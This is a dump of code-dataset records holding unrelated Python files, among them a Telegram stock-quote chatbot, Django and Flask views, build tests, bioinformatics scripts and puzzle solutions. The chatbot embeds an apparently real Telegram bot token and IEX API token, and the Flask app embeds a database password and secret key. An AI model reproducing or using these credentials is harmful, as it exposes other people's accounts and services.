res_dct:\n res_dct[concl_num] = {}\n for act in acts:\n name, specs = transmute(act, path.stem)\n if name not in res_dct[concl_num]:\n res_dct[concl_num][name] = specs\n res_dct[concl_num][name]['ALG'].append(alg_name)\n else:\n res_dct[concl_num][name]['POSITION'].append(specs['POSITION'][0])\n res_dct[concl_num][name]['SCORE'].append(specs['SCORE'][0])\n res_dct[concl_num][name]['ALG'].append(alg_name)\n return res_dct, concls_dct\n\ndef transform_dct_to_txt(dct, cnl_dct, b=0.15, acts=5):\n from writer import writer\n options = {\n '2018-11-09__efficient_cosine_similarity_RAW_BIGRAMS_': 'RB',\n '2018-11-09__efficient_cosine_similarity_RAW__': 'R',\n '2018-11-09__efficient_cosine_similarity_NORM_BIGRAMS_': 'NB',\n '2018-11-09__efficient_cosine_similarity_NORM__': 'N'\n }\n for key in sorted(dct.keys()):\n holder = [cnl_dct[key]]\n holder.append('='*144)\n #cnl_dct[key],'='*96\n inner_holder = []\n for act in dct[key]:\n assert len(set(dct[key][act]['POSITION'])) == 1\n pos = int(dct[key][act]['POSITION'][0])\n score = sum(float(i) for i in dct[key][act]['SCORE'])\n alg = (\n ','.join(options[algr] for algr in dct[key][act]['ALG'])\n )\n inner_holder.append((act, pos, score, alg))\n inner_holder = sorted(inner_holder, key=lambda x: x[2], reverse=True)\n for info in inner_holder:\n if info[2] > b:\n st = (\n '{:<90s}'.format(info[0])\n +' | POSITION: {: >4d} | SCORE: {: >10.6f}'.format(info[1], info[2])\n +' | ALG: {: >9s}'.format(info[3])\n )\n holder.append(st)\n writer(holder[:(acts+2)], 'holder_concl_{}'.format(key), mode='w', verbose=False)\n\ndef count_acts(folder_path):\n paths = rwtools.collect_exist_files(folder_path, suffix='.txt')\n counter = 0\n for p in paths:\n text=rwtools.read_text(p)\n spl = text.split('\\n')\n counter += len(spl[2:])\n return counter\n\ndef find_similars(st):\n spl = st.split('\\n')\n spl = set([row[:91].rstrip(' -') for row in spl if row])\n print(len(spl))\n for i in spl: print(i)\n return spl\n\ndef find_similars2(st):\n import re\n st = st.replace('\"', '')\n reqs = set(word.strip(' -') for word in re.findall(r'\\bот .*', st))\n print(len(reqs))\n return reqs\n\ndef find_similars3(st):\n import re\n st = st.replace('\"', '')\n reqs = set(word.strip(' -|') for word in re.findall(r'\\bот .*?\\|', st))\n print(len(reqs))\n return reqs\n\n\n\n \n \n \n \n \n\n \n","sub_path":"tempscripts/tmp1.py","file_name":"tmp1.py","file_ext":"py","file_size_in_byte":3866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"135246219","text":"import requests as requests\nfrom iexfinance.stocks import Stock\nimport re\nimport random\n\nurl = \"https://api.telegram.org/bot1078830395:AAGsi7i_dxc3T7iqQQYQVBYjHGDT8M92zOU/\"\n# the code with (cite) is cite from youtube, go to citation to gain more information\n\n# create chat ID (cite)\ndef get_chat_id(update):\n chat_id = update[\"message\"][\"chat\"][\"id\"]\n return chat_id\n\n\n# get message from the telegram (cite)\ndef get_message_text(update):\n message_text = update[\"message\"][\"text\"]\n return message_text\n\n\n# get last up date (cite)\ndef last_update(req):\n response = requests.get(req + \"getUpdates\")\n response = response.json()\n result = response[\"result\"]\n total_updates = len(result) - 1\n return result[total_updates]\n\n\n# send back to the chat (cite)\ndef send_message(chat_id, message_text):\n params = {\"chat_id\": chat_id, \"text\": message_text}\n response = requests.post(url + \"sendMessage\", data=params)\n return response\n\n\n# Identify the key word from user's sentences\ndef interpret(message):\n msg = message.lower()\n if 'hi' in msg:\n return 'id'\n if 'who' in msg:\n return 'self'\n if 'google' in msg:\n if 'latest' in msg:\n return 'ask_pric_goo'\n if 'open' in msg:\n return 'ask_hi_goo'\n else:\n return 'cp2'\n if 'apple' in msg:\n if 'latest' in msg:\n return 'ask_pric_app'\n if 'open' in msg:\n return 'ask_hi_app'\n else:\n return 'cp1'\n if 'thank' in msg:\n return 'end'\n return 'none'\n\n\n# get stock information\na = Stock(\"AAPL\", token=\"pk_20eee9b7062744679cd544d3c3170f6d\")\nAPP = a.get_quote()\nb = Stock(\"GOOGL\", token=\"pk_20eee9b7062744679cd544d3c3170f6d\")\nGOO = a.get_quote()\n\nWORK = 0\nOTHER = 1\nKEEPASK = 2\nFINISH = 3\n\n# match rules and get reply\npolicy_rules = {\n (WORK, 'id'): (WORK, \"How can I help you?\", None),\n (WORK, \"self\"): (WORK, \"I'm a stock bot which means I can give you some information about stock\", None),\n (WORK, \"cp2\"): (WORK, \"What information do you want to know about Google's stock?\", None),\n (WORK, \"cp1\"): (WORK, \"What information do you want to know about Apple's stock?\", None),\n (WORK, \"ask_pric_app\"): (WORK, \"Currently the price of Apple's stock is\" + \" \" + str(APP['latestPrice']), KEEPASK),\n (WORK, \"ask_hi_app\"): (WORK, \"The open price of Apple's stock is\" + \" \" + str(APP['open']), KEEPASK),\n (WORK, \"ask_pric_goo\"): (WORK, \"Currently the price of Google's stock is\" + \" \" + str(GOO['latestPrice']), KEEPASK),\n (WORK, \"ask_hi_goo\"): (WORK, \"The open price of Google's stock is\" + \" \" + str(GOO['open']), KEEPASK),\n (WORK, \"end\"): (FINISH, \"Glad I can help you!\", None)\n}\n\n\ndef match_rule(rules, message):\n for pattern, responses in rules.items():\n match = re.search(pattern, message)\n if match is not None:\n response = random.choice(responses)\n var = match.group(1) if '{0}' in response else None\n return response, var\n return \"default\", None\n\n\nrules = {'if (.*)': [\"Do you really think it's likely that {0}\", 'Do you wish that {0}', 'What do you think about {0}',\n 'Really--if {0}'], 'do you think (.*)': ['if {0}? Absolutely.', 'No chance'],\n 'I want (.*)': ['What would it mean if you got {0}', 'Why do you want {0}',\n \"What's stopping you from getting {0}\"],\n 'do you remember (.*)': ['Did you think I would forget {0}', \"Why haven't you been able to forget {0}\",\n 'What about {0}', 'Yes .. and?']}\n\n\n# replace the pronouns\ndef replace_pronouns(message):\n message = message.lower()\n if 'me' in message:\n return re.sub('me', 'you', message)\n if 'i' in message:\n return re.sub('i', 'you', message)\n elif 'my' in message:\n return re.sub('my', 'your', message)\n elif 'your' in message:\n return re.sub('your', 'my', message)\n elif 'you' in message:\n return re.sub('you', 'me', message)\n\n return message\n\n\n# identify response for normal chat\ndef chitchat_response(message):\n response, phrase = match_rule(rules, message)\n if response == \"default\":\n return None\n if '{0}' in response:\n phrase = replace_pronouns(message)\n response = response.format(phrase)\n return response\n\n\ndef responses(state, pending, message):\n response = chitchat_response(message)\n if response is not None:\n return state, None\n\n new_state, response, pending_state = policy_rules[(state, interpret(message))]\n if pending is not None:\n new_state, response, pending_state = policy_rules[pending]\n return new_state, pending, response\n\n\ndef send_messages(question):\n state = WORK\n pending = None\n state, pending, response = responses(state, pending, question)\n return response\n\n\n# main for reply\ndef main():\n update_id = last_update(url)[\"update_id\"]\n while True:\n update = last_update(url)\n if update_id == update[\"update_id\"]:\n question = get_message_text(update)\n answer = send_messages(question)\n send_message(get_chat_id(update), answer)\n update_id += 1\n\n\nmain()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"20686939","text":"from django.shortcuts import render\nfrom product import models as ProductModels\n\n\ndef homePage(request):\n \"\"\" Home page Render Function \"\"\" \n print(request.GET)\n navigationProductCategories = ProductModels.ProductCategory.objects.filter(status=True).order_by('-id')[:4]\n productCategories = ProductModels.ProductCategory.objects.filter(status=True)\n products = ProductModels.Product.objects.filter(status=True).order_by('-id')[:3]\n\n return render(request, 'index.html', {\n 'navigationProductCategories' : navigationProductCategories,\n 'productCategories' : productCategories,\n 'products' : products\n })\n\n\ndef CategoryProducts(request, product_category_id):\n \"\"\" Products list according to category \"\"\"\n navigationProductCategories = ProductModels.ProductCategory.objects.filter(status=True).order_by('-id')[:4]\n products = ProductModels.Product.objects.filter(product_category_id=product_category_id)\n productCategories = ProductModels.ProductCategory.objects.filter(status=True)\n return render(request, 'category-products.html', {\n 'navigationProductCategories' : navigationProductCategories,\n 'products' : products,\n 'productCategories':productCategories\n })\n\ndef ProductDetails(request, product_id):\n navigationProductCategories = ProductModels.ProductCategory.objects.filter(status=True).order_by('-id')[:4]\n try:\n product = ProductModels.Product.objects.get(id=product_id)\n except ProductModels.Product.DoesNotExist:\n product= {}\n return render(request, 'product-details.html', {\n 'navigationProductCategories' : navigationProductCategories,\n })","sub_path":"frontend/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"402564697","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport re\nimport glob\n#import subprocess\ntry:\n from setuptools import setup\n setup\nexcept ImportError:\n from distutils.core import setup\n setup\n\n#githash = subprocess.check_output([\"git\", \"log\", \"--format=%h\"], universal_newlines=True).split('\\n')[0]\nvers = \"1.0.0\"\ngithash = \"\"\nwith open('prospect/_version.py', \"w\") as f:\n f.write('__version__ = \"{}\"\\n'.format(vers))\n f.write('__githash__ = \"{}\"\\n'.format(githash))\n\nsetup(\n name=\"astro-prospector\",\n version=vers,\n project_urls={\"Source repo\": \"https://github.com/bd-j/prospector\",\n \"Documentation\": \"https://prospect.readthedocs.io\"},\n author=\"Ben Johnson\",\n author_email=\"benjamin.johnson@cfa.harvard.edu\",\n classifiers=[\"Development Status :: 5 - Production/Stable\",\n \"Intended Audience :: Science/Research\",\n \"Programming Language :: Python\",\n \"License :: OSI Approved :: MIT License\",\n \"Natural Language :: English\",\n \"Topic :: Scientific/Engineering :: Astronomy\"],\n packages=[\"prospect\",\n \"prospect.models\",\n \"prospect.likelihood\",\n \"prospect.fitting\",\n \"prospect.sources\",\n \"prospect.io\",\n \"prospect.plotting\",\n \"prospect.utils\"],\n license=\"MIT\",\n description=\"Stellar Population Inference\",\n long_description=open(\"README.md\").read(),\n long_description_content_type=\"text/markdown\",\n package_data={\"\": [\"README.md\", \"LICENSE\"]},\n scripts=glob.glob(\"scripts/*.py\"),\n include_package_data=True,\n install_requires=[\"numpy\", \"h5py\"],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"16834622","text":"# *****************************************************************\n#\n# Licensed Materials - Property of IBM\n#\n# (C) Copyright IBM Corp. 2020. All Rights Reserved.\n#\n# US Government Users Restricted Rights - Use, duplication or\n# disclosure restricted by GSA ADP Schedule Contract with IBM Corp.\n#\n# *****************************************************************\n\nimport sys\nimport os\nimport pathlib\ntest_dir = pathlib.Path(__file__).parent.absolute()\nsys.path.append(os.path.join(test_dir, '..', 'open-ce'))\n\nimport helpers\nimport build_env\n\nclass PackageBuildTracker(object):\n def __init__(self):\n self.built_packages = set()\n\n def validate_build_feedstock(self, args, package_deps = None, expect=None, reject=None, retval = 0):\n '''\n Used to mock the `build_feedstock` function and ensure that packages are built in a valid order.\n '''\n if package_deps:\n package = args[-1][:-10]\n self.built_packages.add(package)\n for dependency in package_deps[package]:\n assert dependency in self.built_packages\n cli_string = \" \".join(args)\n if expect:\n for term in expect:\n assert term in cli_string\n if reject:\n for term in reject:\n assert term not in cli_string\n return retval\n\ndef test_build_env(mocker):\n '''\n This is a complete test of `build_env`.\n It uses `test-env2.yaml` which has a dependency on `test-env1.yaml`, and specifies a chain of package dependencies.\n That chain of package dependencies is used by the mocked build_feedstock to ensure that the order of builds is correct.\n '''\n dirTracker = helpers.DirTracker()\n mocker.patch(\n 'os.mkdir',\n return_value=0 #Don't worry about making directories.\n )\n mocker.patch(\n 'os.system',\n side_effect=(lambda x: helpers.validate_cli(x, expect=[\"git clone\"], retval=0)) #At this point all system calls are git clones. If that changes this should be updated.\n )\n mocker.patch(\n 'os.getcwd',\n side_effect=dirTracker.mocked_getcwd\n )\n mocker.patch(\n 'os.chdir',\n side_effect=dirTracker.validate_chdir\n )\n # +-------+\n # +------+ 15 +-----+\n # | +---+---+ | +-------+\n # +---v---+ | +-----> 16 |\n # | 11 | | +---+---+\n # +----+--+ | |\n # | | +-------+ |\n # | +-----> 14 <-----+\n # | +-+-----+\n # +---v---+ |\n # | 12 | |\n # +--+----+ |\n # | +-----v--+\n # +------------> 13 |\n # +---+----+\n # |\n # +----v----+\n # | 21 |\n # +---------+\n package_deps = {\"package11\": [\"package15\"],\n \"package12\": [\"package11\"],\n \"package13\": [\"package12\", \"package14\"],\n \"package14\": [\"package15\", \"package16\"],\n \"package15\": [],\n \"package16\": [\"package15\"],\n \"package21\": [\"package13\"],\n \"package22\": [\"package15\"]}\n #---The first test specifies a python version that isn't supported in the env file by package21.\n mocker.patch(\n 'conda_build.api.render',\n side_effect=(lambda path, *args, **kwargs: helpers.mock_renderer(os.getcwd(), package_deps))\n )\n buildTracker = PackageBuildTracker()\n mocker.patch( # This ensures that 'package21' is not built when the python version is 2.0.\n 'build_feedstock.build_feedstock',\n side_effect=(lambda x: buildTracker.validate_build_feedstock(x, package_deps, expect=[\"--python_versions 2.0\"], reject=[\"package21-feedstock\"]))\n )\n env_file = os.path.join(test_dir, 'test-env2.yaml')\n assert build_env.build_env([env_file, \"--python_versions\", \"2.0\"]) == 0\n\n #---The second test specifies a python version that is supported in the env file by package21.\n package_deps = {\"package11\": [\"package15\"],\n \"package12\": [\"package11\"],\n \"package13\": [\"package12\", \"package14\"],\n \"package14\": [\"package15\", \"package16\"],\n \"package15\": [],\n \"package16\": [\"package15\"],\n \"package21\": [\"package13\"],\n \"package22\": [\"package21\"]}\n mocker.patch(\n 'conda_build.api.render',\n side_effect=(lambda path, *args, **kwargs: helpers.mock_renderer(os.getcwd(), package_deps))\n )\n buildTracker = PackageBuildTracker()\n mocker.patch(\n 'build_feedstock.build_feedstock',\n side_effect=(lambda x: buildTracker.validate_build_feedstock(x, package_deps, expect=[\"--python_versions 2.1\"]))\n )\n env_file = os.path.join(test_dir, 'test-env2.yaml')\n assert build_env.build_env([env_file, \"--python_versions\", \"2.1\"]) == 0\n\n #---The third test verifies that the repository_folder argument is working properly.\n buildTracker = PackageBuildTracker()\n mocker.patch(\n 'build_feedstock.build_feedstock',\n side_effect=(lambda x: buildTracker.validate_build_feedstock(x, package_deps, expect=[\"--working_directory repo_folder/\"]))\n )\n env_file = os.path.join(test_dir, 'test-env2.yaml')\n assert build_env.build_env([env_file, \"--repository_folder\", \"repo_folder\", \"--python_versions\", \"2.1\"]) == 0\n\ndef test_env_validate(mocker, capsys):\n '''\n This is a negative test of `build_env`, which passes an invalid env file.\n '''\n dirTracker = helpers.DirTracker()\n mocker.patch(\n 'os.mkdir',\n return_value=0 #Don't worry about making directories.\n )\n mocker.patch(\n 'os.system',\n side_effect=(lambda x: helpers.validate_cli(x, expect=[\"git clone\"], retval=0)) #At this point all system calls are git clones. If that changes this should be updated.\n )\n mocker.patch(\n 'os.getcwd',\n side_effect=dirTracker.mocked_getcwd\n )\n mocker.patch(\n 'conda_build.api.render',\n side_effect=(lambda path, *args, **kwargs: helpers.mock_renderer(os.getcwd(), []))\n )\n mocker.patch(\n 'os.chdir',\n side_effect=dirTracker.validate_chdir\n )\n buildTracker = PackageBuildTracker()\n mocker.patch(\n 'build_feedstock.build_feedstock',\n side_effect=buildTracker.validate_build_feedstock\n )\n env_file = os.path.join(test_dir, 'test-env-invalid1.yaml')\n assert build_env.build_env([env_file]) == 1\n captured = capsys.readouterr()\n assert \"Unexpected key chnnels was found in \" in captured.err\n\ndef test_build_env_docker_build(mocker):\n '''\n Test that passing the --docker_build argument calls docker_build.build_with_docker\n '''\n arg_strings = [\"--docker_build\", \"my-env.yaml\"]\n\n mocker.patch('docker_build.build_with_docker', return_value=0)\n\n mocker.patch('pkg_resources.get_distribution', return_value=None)\n\n assert build_env.build_env(arg_strings) == 0\n\ndef test_build_env_if_no_conda_build(mocker):\n '''\n Test that build_env should fail if conda_build isn't present and no --docker_build\n '''\n arg_strings = [\"my-env.yaml\"]\n\n mocker.patch('pkg_resources.get_distribution', return_value=None)\n\n assert build_env.build_env(arg_strings) == 1\n\n","sub_path":"tests/build_env_test.py","file_name":"build_env_test.py","file_ext":"py","file_size_in_byte":7460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"481340710","text":"#! /usr/bin/env python\n# import necessary modules\nimport polyadcirc.run_framework.domain as dom\nimport polyadcirc.run_framework.random_wall_Q as rmw\nimport numpy as np\nimport polyadcirc.pyADCIRC.basic as basic\n\nadcirc_dir = '/work/01837/lcgraham/v50_subdomain/work'\ngrid_dir = adcirc_dir + '/ADCIRC_landuse/Inlet_b2/inputs/poly_walls'\nsave_dir = adcirc_dir + '/ADCIRC_landuse/Inlet_b2/runs/large_random_2D'#poly_wall'\nbasis_dir = adcirc_dir +'/ADCIRC_landuse/Inlet_b2/gap/beach_walls_2lands'\n# assume that in.prep* files are one directory up from basis_dir\nscript = \"large_random_2D.sh\"\ntimeseries_files = []#[\"fort.63\"]\nnontimeseries_files = [\"maxele.63\"]#, \"timemax63\"]\n\n# NoNx12/TpN where NoN is number of nodes and TpN is tasks per node, 12 is the\n# number of cores per node See -pe line in submission_script way\nnprocs = 4 # number of processors per PADCIRC run\nppnode = 16\nNoN = 20\nTpN = 16 # must be 16 unless using N option\nnum_of_parallel_runs = (TpN*NoN)/nprocs # procs_pnode * NoN / nproc\n\ndomain = dom.domain(grid_dir)\ndomain.update()\n\nmain_run = rmw.runSet(grid_dir, save_dir, basis_dir, num_of_parallel_runs,\n base_dir=adcirc_dir, script_name=script)\nmain_run.initialize_random_field_directories(num_procs=nprocs)\n\n# Set samples\nnum_samples = 10000 \nlam_domain = np.array([[.07, .15], [.1, .2]])\nrandom_points = lam_domain[:, 0] + (lam_domain[:, 1]-lam_domain[:,\n 0])*np.random.rand(num_samples, lam_domain.shape[-1]) \nlam4 = 0.012*np.ones((num_samples, ))\nlam_samples = np.column_stack((random_points, lam4.ravel()))\n\nmann_pts = lam_samples.transpose()\n\nymin = -1050*np.ones(mann_pts.shape[-1]) #np.linspace(1500, -1050, num_walls)\nxmin = 1420*np.ones(ymin.shape)\nxmax = 1580*np.ones(ymin.shape)\nymax = 1500*np.ones(ymin.shape)\nwall_height = -2.5*np.ones(ymax.shape)\n# box_limits [xmin, xmax, ymin, ymax, wall_height]\nwall_points = np.column_stack((xmin, xmax, ymin, ymax, wall_height))\nwall_points = wall_points.transpose()\n\n# setup and save to shelf\n# set up saving\nsave_file = 'py_save_file'\n\nstat_x = np.concatenate((1900*np.ones((7,)), [1200], 1300*np.ones((3,)),\n [1500])) \nstat_y = np.array([1200, 600, 300, 0, -300, -600, -1200, 0, 1200, 0, -1200,\n -1400])\n\nstations = []\n\nfor x, y in zip(stat_y, stat_y):\n stations.append(basic.location(x, y))\n\n# Run experiments\n# MainFile_RandomMann\nmain_run.run_nobatch_q(domain, wall_points, mann_pts, save_file, \n num_procs=nprocs, procs_pnode=ppnode, stations=stations, TpN=TpN)\n\n\n\n\n\n\n\n\n\n","sub_path":"examples/run_framework/random_wall_Q.py","file_name":"random_wall_Q.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"512472101","text":"#!/usr/bin/python\n\n# imports\nimport sys\nimport argparse\n\nfrom Bio import SeqIO\n\n## for me\nimport inspect\ndef lineno():\n \"\"\"Returns the current line number in our program.\"\"\"\n return \"line \" + str(inspect.currentframe().f_back.f_lineno) + \": \"\n\ndef parseArgs():\n parser = argparse.ArgumentParser(description='Take a FASTA file and \\\n find the longest n sequences, write to a separate file.')\n\n parser.add_argument('-f', help='Filename', metavar='filename')\n parser.add_argument('-n', help='Split file into files of n sequences', metavar='int', type=int)\n parser.add_argument('-d', help='debug (print a lot of shite, and all reports)', action='store_true')\n #parser.add_argument('-p', help='Prefix for output', metavar='prefix')\n\n if len(sys.argv) == 1:\n parser.print_help()\n sys.exit(1)\n\n args = vars(parser.parse_args())\n\n if not args['f']:\n parser.print_help()\n print(\"\\nPlease specify a filename with -f.\")\n sys.exit(1)\n if not args['n']:\n parser.print_help()\n print(\"\\nPlease specify how many sequences per file you want with -n .\")\n sys.exit(1)\n\n return args\n\ndef batch_iterator(iterator, batch_size) :\n \"\"\"Returns lists of length batch_size.\n \n This can be used on any iterator, for example to batch up\n SeqRecord objects from Bio.SeqIO.parse(...), or to batch\n Alignment objects from Bio.AlignIO.parse(...), or simply\n lines from a file handle.\n \n This is a generator function, and it returns lists of the\n entries from the supplied iterator. Each list will have\n batch_size entries, although the final list may be shorter.\n \"\"\"\n entry = True #Make sure we loop once\n while entry :\n batch = []\n while len(batch) < batch_size :\n try :\n entry = iterator.next()\n except StopIteration :\n entry = None\n if entry is None :\n #End of file\n break\n batch.append(entry)\n if batch :\n yield batch\n\n \n\nif __name__ == '__main__':\n args = parseArgs()\n if args['d']: \n debug = True\n else:\n debug = False\n\n record_iter = SeqIO.parse(open(args['f']),\"fasta\")\n for i, batch in enumerate(batch_iterator(record_iter, args['n'])) :\n filename = \"group_%i.fasta\" % (i+1)\n handle = open(filename, \"w\")\n count = SeqIO.write(batch, handle, \"fasta\")\n handle.close()\n print(\"Wrote %i records to %s\" % (count, filename))\n\n\n\n\n","sub_path":"splitFasta.py","file_name":"splitFasta.py","file_ext":"py","file_size_in_byte":2540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"470331916","text":"def compare_strings(string1,string2):\r\n str1=0\r\n str2=0\r\n for i in range(len(string1)):\r\n if string1[i]>=\"0\" and string1[i]<=\"9\":\r\n str1 +=1\r\n for i in range(len(string2)):\r\n if string2[i]>=\"0\" and string2[i]<=\"9\":\r\n str2 +=1\r\n if str1==str2:\r\n return \"Same\"\r\n return \"not same\"\r\n\r\n","sub_path":"test4.py","file_name":"test4.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"379403906","text":"import lvgl as lv\nimport qrcode\nimport math\nimport gc\n\n\nclass QRCode(lv.label):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.set_long_mode(lv.label.LONG.BREAK)\n self.set_align(lv.label.ALIGN.CENTER)\n self.set_text()\n\n def set_text(self, text=\"Text\"):\n self._text = text\n qr = qrcode.encode_to_string(text)\n size = int(math.sqrt(len(qr)))\n width = self.get_width()\n scale = width // size\n sizes = range(1, 10)\n fontsize = [s for s in sizes if s < scale or s == 1][-1]\n font = getattr(lv, \"square%d\" % fontsize)\n style = lv.style_t()\n lv.style_copy(style, lv.style_plain)\n style.body.main_color = lv.color_make(0xFF, 0xFF, 0xFF)\n style.body.grad_color = lv.color_make(0xFF, 0xFF, 0xFF)\n style.body.opa = 255\n style.text.font = font\n style.text.line_space = 0\n style.text.letter_space = 0\n self.set_style(0, style)\n # self.set_body_draw(True)\n super().set_text(qr)\n del qr\n gc.collect()\n\n def get_text(self):\n return self._text\n\n def set_size(self, size):\n super().set_size(size, size)\n self.set_text(self._text)\n","sub_path":"libs/common/lvqr.py","file_name":"lvqr.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"262911173","text":"import os\nimport glob\nfrom sequenceAnalyzer import FastAreader\n\n\ndef blast():\n stack = []\n for i in ['P_eremicus','P_leucopus','P_polionotus','P_manuclatus']: \n os.system(\"makeblastdb -dbtype nucl -in {0}/reconstructed_CDS.fa -title trans -out {0}/transcriptDB\".format(i))\n\n for i in ['P_eremicus','P_leucopus','P_polionotus','P_manuclatus']:\n for k in ['P_eremicus','P_leucopus','P_polionotus','P_manuclatus']:\n comp = [i,k]\n print(comp,sorted(comp),stack)\n if sorted(comp) not in stack and i != k:\n os.system(\"blastn -db {0}/transcriptDB -query {1}/reconstructed_CDS.fa -outfmt 6 -perc_identity 80 -out {0}_V_{1}.out\".format(i,k))\n stack.append(sorted(comp))\n\n #####cat all blast output to one file called all_hits.out#####\n\ndef cluster():\n transcriptDic = {}\n for i in ['P_eremicus','P_leucopus','P_polionotus','P_manuclatus']:\n myReaderInGenes = FastAreader('{0}/reconstructed_CDS.fa'.format(i))\n for header, sequence in myReaderInGenes.readFasta():\n transcriptDic[header] = float(len(sequence))\n with open('all_hits.out.filtered','w') as outf: \n with open('all_hits.out','r') as f:\n \t for line in f:\n \t sp = line.strip().split('\\t')\n \t if float(sp[2]) > 90.0:\n if float(sp[3]) > transcriptDic[sp[0].strip()]*.8 and float(sp[3]) > transcriptDic[sp[1].strip()]*.8:\n outf.write(line)\n os.system(\"awk '{print $1\\\" \\\"$2}' all_hits.out.filtered > all_hits_IDs.out\")\n # 181276 is the number of sequences upper bound\n os.system('silixx 181276 all_hits_IDs.out > clusters')\n \n\ndef findComparisons():\n clusterDic = {}\n with open('clusters','r') as f:\n for line in f:\n try:\n sp = line.strip().split('\\t')\n if sp[0] not in clusterDic:\n clusterDic[sp[0]] = [sp[1]]\n else:\n clusterDic[sp[0]].append(sp[1])\n except IndexError:\n break\n count = 0\n #print(clusterDic)\n with open('Grouped_clusters.tsv','w') as f:\n for cluster in clusterDic:\n if len(clusterDic[cluster]) >= 4:\n clusterString = '\\t'.join(clusterDic[cluster])\n if 'Transcript' in clusterString and 'P_leucopus' in clusterString and 'P_polionotus' in clusterString and 'P_manuclatus' in clusterString:\n f.write('{0}\\t{1}\\n'.format(str(cluster),clusterString))\n count += 1\n \n print(count)\n\n\"\"\"\n\nCall functions\n\n\"\"\"\n#blast()\n#cluster()\n#findComparisons()\n\n","sub_path":"findOverlaps.py","file_name":"findOverlaps.py","file_ext":"py","file_size_in_byte":2674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"263445266","text":"# Problem 21\nimport primesLib\n\n#For each number, we add its value to all multiples (to get a list of sums of divisors)\ndivisorSumList = [0]*10000\nfor i in range(1,5001):\n for j in range(2*i, 10000, i):\n divisorSumList[j] += i\n\namicableSum = 0\nfor i in range(1,10000):\n divisorSum = divisorSumList[i]\n if (i == divisorSum or divisorSum > 10000):\n continue\n if (i == divisorSumList[divisorSum]):\n amicableSum += i\n\nprint(amicableSum)\n\n","sub_path":"Euler021.py","file_name":"Euler021.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"150706365","text":"grid_string = open('problem_11_grid.txt').read()\ng = list(map(lambda x: list(map(int, x.split())), grid_string.split('\\n')))\nbiggest = 0\n\nfor i in range(20):\n for j in range(20-4):\n biggest = max(g[i][j]*g[i][j+1]*g[i][j+2]*g[i][j+3],\n g[j][i]*g[j+1][i]*g[j+2][i]*g[j+3][i], biggest)\n\nfor i in range(20):\n for j in range(20):\n if i <= 12:\n biggest = max(g[i+4][j]*g[i+5][j-1]*g[i+6][j-2]*g[i+7][j-3], biggest)\n if i < 17 and j < 17:\n biggest = max(g[i][j]*g[i+1][j+1]*g[i+2][j+2]*g[i+3][j+3], biggest)\n\nprint(biggest)","sub_path":"Python/problem_11.py","file_name":"problem_11.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"181486064","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def boundaryOfBinaryTree(self, root: TreeNode) -> List[int]:\n boundary = []\n # edge case\n if not root:\n return boundary\n boundary.append(root.val)\n \n # check left\n left = []\n node = root.left\n while node:\n left.append(node.val)\n if node.left:\n node = node.left\n else:\n node = node.right\n \n if left:\n left.pop()\n boundary.extend(left)\n \n # check bottom\n bottom = []\n stack = [root.right]\n node = root.left\n while node or stack:\n if node:\n if not node.left and not node.right:\n bottom.append(node.val)\n node = None\n else:\n stack.append(node.right)\n node = node.left\n else:\n node = stack.pop()\n \n boundary.extend(bottom)\n \n # check right\n right = []\n node = root.right\n while node:\n right.append(node.val)\n if node.right:\n node = node.right\n else:\n node = node.left\n \n if right:\n right.pop()\n right.reverse()\n boundary.extend(right)\n \n return boundary\n","sub_path":"545. Boundary of Binary Tree/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"509973998","text":"from flask import Flask, request, render_template\nfrom flask_sqlalchemy import SQLAlchemy\nfrom datetime import datetime\n\napp = Flask(__name__)\n\napp.config.update(\n\n SECRET_KEY='topsecret',\n SQLALCHEMY_DATABASE_URI='postgresql://postgres:1234@localhost/catalog_db',\n SQLALCHEMY_TRACK_MODIFICATIONS=False\n)\n\ndb = SQLAlchemy(app)\n\n\n@app.route('/index')\n@app.route('/')\ndef hello_world():\n return 'Hello flask!'\n\n\n@app.route(\"/new/\")\ndef query_strings(greeting=\"hello\"):\n query_val = request.args.get(\"greeting\", greeting)\n return \"

the greeting is : {0}

\".format(query_val)\n\n\n# localhost:5000/new/\n# >> the greeting is : None\n\n# localhost:5000/new/?greeting=hola!\n# >> the greeting is : hola!\n\n@app.route(\"/user\")\n@app.route(\"/user/\")\ndef no_query_string(name=\"mina\"):\n return \"

hello there! {}

\".format(name)\n\n\n# STRINGS\n@app.route(('/text/'))\ndef working_with_strings(name):\n return \"

here is a string: {}

